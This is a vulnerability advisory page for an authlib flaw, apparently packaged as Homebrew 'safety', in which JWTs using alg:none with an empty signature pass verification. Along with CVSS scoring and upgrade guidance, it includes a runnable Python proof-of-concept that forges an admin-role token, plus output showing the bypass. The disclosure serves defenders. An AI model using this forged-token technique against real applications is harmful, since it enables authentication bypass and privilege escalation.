VulnerabilityPublished 13 Aug 2026Updated 29 Oct 2026

CVE-2026-28802: Setting `alg · none` and a blank signature appears to bypass signature verification

Affects safetySource GCVE Database

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Public exploit available · CVSS 8.7 High : upgrade to 3.7.0_5 as a priority.

Data as of 30 Oct 2026, 07:30 UTC

CVSS 4.0 base score

8.7High

How severe the flaw is on the 0–10 CVSS scale.

Patch: Available – fixed in 3.7.0_5

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

Base metrics

Attack Vector: Network
Attack Complexity: Low
Attack Requirements: None
Privileges Required: None
User Interaction: None
Vulnerable system confidentiality: None
Vulnerable system integrity: High
Vulnerable system availability: None
Subsequent system confidentiality: None
Subsequent system integrity: None
Subsequent system availability: None

Threat metrics

Exploit Maturity: POC

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: None: The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without interaction from any human user, other than the attacker.
Vulnerable system confidentiality: None: There is no loss of confidentiality within the Vulnerable System.
Vulnerable system integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the vulnerable system. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the vulnerable system.
Vulnerable system availability: None: There is no impact to availability within the Vulnerable System.
Subsequent system confidentiality: None: There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Subsequent system integrity: None: There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Subsequent system availability: None: There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.
Exploit Maturity: POC: Based on threat intelligence sources each of the following must apply: · Proof-of-concept is publicly available · No knowledge of reported attempts to exploit this vulnerability · No knowledge of publicly available solutions used to simplify attempts to exploit the vulnerability

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 13 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: evidence found.
CVSS exploit maturity: proof of concept public
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), CVSS vector, the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade safety to 3.7.0_5.

Affected software

Product	Affected	Fixed in
Homebrewsafety`pkg:brew/safety`Other threats	Affected >=3.6.2_1 <3.7.0_5	Fixed in 3.7.0_5

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary After upgrading the library from 1.5.2 to 1.6.0 (and the latest 1.6.5) it was noticed that previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected. ### Details It was likely introduced in this commit: https://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75 ### PoC ``` from authlib.jose import jwt, JsonWebKey from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization from cryptography.hazmat.backends import default_backend import json import base64 def create_jwks(): private_key = rsa.generate_private_key( public_exponent=65537, key_size=2048, backend=default_backend() ) public_pem = private_key.public_key().public_bytes( encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo, ) jwk = JsonWebKey.import_key(public_pem).as_dict() jwk["kid"] = "test-key-001" jwk["use"] = "sig" jwk["alg"] = "RS256" jwks = {"keys": [jwk]} return jwks def create_forged_token_with_alg_none(): forged_header = {"alg": "none"} forged_payload = { "sub": "user123", "role": "admin", "iat": 1735603200, } header_b64 = base64.urlsafe_b64encode( json.dumps(forged_header).encode("utf-8") ).rstrip(b"=") payload_b64 = base64.urlsafe_b64encode( json.dumps(forged_payload).encode("utf-8") ).rstrip(b"=") forged_token = header_b64 + b"." + payload_b64 + b"." return forged_token jwks = create_jwks() forged_token = create_forged_token_with_alg_none() try: claims = jwt.decode(forged_token, jwks) print(f"VULNERABLE: Forged token (alg:none) accepted: role={claims['role']}") except Exception as e: print(f"SECURE: Token rejected - {type(e).__name__}") ``` Output: ``` pip install -q authlib==1.5.2 python3 authlib_alg_none_vulnerability.py SECURE: Token rejected - BadSignatureError pip install -q authlib==1.6.5 python3 authlib_alg_none_vulnerability.py VULNERABLE: Forged token (alg:none) accepted: role=admin ``` ### Impact Users of the library are likely not aware that they now need to check the provided headers and disallow `alg: none` usage, it is not obvious from the release notes that any action needs to be taken. As a best-practice, the library should adopt a 'secure by default' stance and default to rejecting it and allow the application to provide an algorithm whitelist. Applications using this library for authentication or authorization may accept malicious, forged JWTs, leading to: - Authentication bypass - Privilege escalation - Unauthorized access - Modification of application data

References

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